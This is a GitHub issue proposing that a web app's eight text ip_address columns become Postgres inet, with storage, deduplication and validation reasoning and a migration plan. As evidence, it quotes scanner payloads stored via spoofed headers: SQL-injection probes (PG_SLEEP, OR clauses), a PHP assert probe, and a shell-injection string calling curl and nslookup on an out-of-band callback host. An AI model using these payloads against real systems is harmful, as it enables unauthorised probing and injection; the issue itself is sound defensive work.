You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Every ip_address column in the schema is text. Eight tables carry one:
Table
Nullable
webpage_activity
NO
audit_task_comment
NO
street_edge_issue
NO
validation_task_comment
NO
validation_task_comment_history
NO
audit_task_environment
YES
validation_task_environment
YES
gallery_task_environment
YES
They're all written from request.remoteAddress (app/controllers/base/CustomBaseController.scala:42), which honours X-Forwarded-For. Scanners spoof that header, so we store whatever text arrives. A sample of what's in webpage_activity.ip_address on the dev DB today:
spoofed.chpq9756jms6h0o9jv9gi6bat4aajcnic.oast.live
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
OAnXBszmxItYy' OR 55=(SELECT 55 FROM PG_SLEEP(15))--
&(nslookup${IFS}-q${IFS}cname${IFS}hitvdrwropblg36ed4.bxss.me||curl${IFS}hitvdrwropblg36ed4.bxss.me)&
-1" OR 5*5=25 or "pf1bpnK0"="
SQLi probes, OAST callbacks, and shell-injection strings, sitting in a column named ip_address. Nothing interpolates that column into SQL today, so this isn't a live vulnerability — but it's one s"WHERE ip_address = '$ip'" away from being one. Switching the column type to inet makes the entire class of value unrepresentable: Postgres rejects it at write time instead of silently storing it.
Other benefits, independent of the security angle
COUNT(DISTINCT ip_address) is quietly wrong right now. We run it in two places (app/models/utils/WebpageActivityTable.scala:188 and :269). As text, 1.2.3.4 and 01.02.03.04 count as two visitors, and the equivalent IPv6 spellings (2607:4000:200:15:0:ffff:80d0:61f vs 2607:4000:0200:0015:0000:ffff:80d0:061f) as two more. inet normalises both — verified on the dev DB. We do have real IPv6 traffic; it's in the top 10 addresses by request count.
Storage. On dev's 2.17M-row webpage_activity, that one column is 33 MB as text vs 23 MB as inet. Prod is much larger.
Enables subnet queries for abuse/bot triage — << (is-in-subnet), masklen, family — via slick-pg's PgNetSupport, which we can re-add as a mixin when we want it. (It's being removed as an unused mixin in Adopt the slick-pg features we're missing, drop the ones we don't use #3702; re-adding is one line.)
The type documents the data.
How to reproduce / current state of the data
Castability across all eight columns on the dev DB (sidewalk_seattle), using a real ::inet cast rather than a regex:
CREATE OR REPLACEFUNCTIONpg_temp.is_inet(t text) RETURNS booleanAS $$
BEGIN PERFORM t::inet; RETURN true; EXCEPTION WHEN others THEN RETURN false; END; $$ LANGUAGE plpgsql IMMUTABLE;
75 uncastable rows, all of them in webpage_activity. The other seven tables are 100% clean, which makes sense: webpage_activity is the only one written on unauthenticated GETs, so it's the only one scanners reach.
Work involved
Prod precheck first. Dev's junk is not prod's junk. Run the castability count above across all 54 prod cities before writing the evolution (scratchpad/*-check.sql + run-query-in-every-city.sh).
Decide what happens to the uncastable rows. Five of the eight columns are NOT NULL, so NULL means also dropping NOT NULL; a sentinel like 0.0.0.0 records something false; deleting drops a real activity row. Needs a call — the precheck tells us how many rows are actually at stake.
Evolution changing all eight columns to inet with a USING clause, plus the Scala-side type mapping.
Make the app stop trusting request.remoteAddress. Once the column is inet, a spoofed header turns every insert into a failed request. Validate before the write and store NULL/sentinel instead of letting it throw mid-request.
Step 4 is worth doing on its own merits even if we never change the column type.
Brief description of problem/feature
Every
ip_addresscolumn in the schema istext. Eight tables carry one:webpage_activityaudit_task_commentstreet_edge_issuevalidation_task_commentvalidation_task_comment_historyaudit_task_environmentvalidation_task_environmentgallery_task_environmentThey're all written from
request.remoteAddress(app/controllers/base/CustomBaseController.scala:42), which honoursX-Forwarded-For. Scanners spoof that header, so we store whatever text arrives. A sample of what's inwebpage_activity.ip_addresson the dev DB today:SQLi probes, OAST callbacks, and shell-injection strings, sitting in a column named
ip_address. Nothing interpolates that column into SQL today, so this isn't a live vulnerability — but it's ones"WHERE ip_address = '$ip'"away from being one. Switching the column type toinetmakes the entire class of value unrepresentable: Postgres rejects it at write time instead of silently storing it.Other benefits, independent of the security angle
COUNT(DISTINCT ip_address)is quietly wrong right now. We run it in two places (app/models/utils/WebpageActivityTable.scala:188and:269). Astext,1.2.3.4and01.02.03.04count as two visitors, and the equivalent IPv6 spellings (2607:4000:200:15:0:ffff:80d0:61fvs2607:4000:0200:0015:0000:ffff:80d0:061f) as two more.inetnormalises both — verified on the dev DB. We do have real IPv6 traffic; it's in the top 10 addresses by request count.webpage_activity, that one column is 33 MB astextvs 23 MB asinet. Prod is much larger.<<(is-in-subnet),masklen,family— via slick-pg'sPgNetSupport, which we can re-add as a mixin when we want it. (It's being removed as an unused mixin in Adopt the slick-pg features we're missing, drop the ones we don't use #3702; re-adding is one line.)How to reproduce / current state of the data
Castability across all eight columns on the dev DB (
sidewalk_seattle), using a real::inetcast rather than a regex:75 uncastable rows, all of them in
webpage_activity. The other seven tables are 100% clean, which makes sense:webpage_activityis the only one written on unauthenticated GETs, so it's the only one scanners reach.Work involved
scratchpad/*-check.sql+run-query-in-every-city.sh).NOT NULL, soNULLmeans also droppingNOT NULL; a sentinel like0.0.0.0records something false; deleting drops a real activity row. Needs a call — the precheck tells us how many rows are actually at stake.inetwith aUSINGclause, plus the Scala-side type mapping.request.remoteAddress. Once the column isinet, a spoofed header turns every insert into a failed request. Validate before the write and storeNULL/sentinel instead of letting it throw mid-request.Step 4 is worth doing on its own merits even if we never change the column type.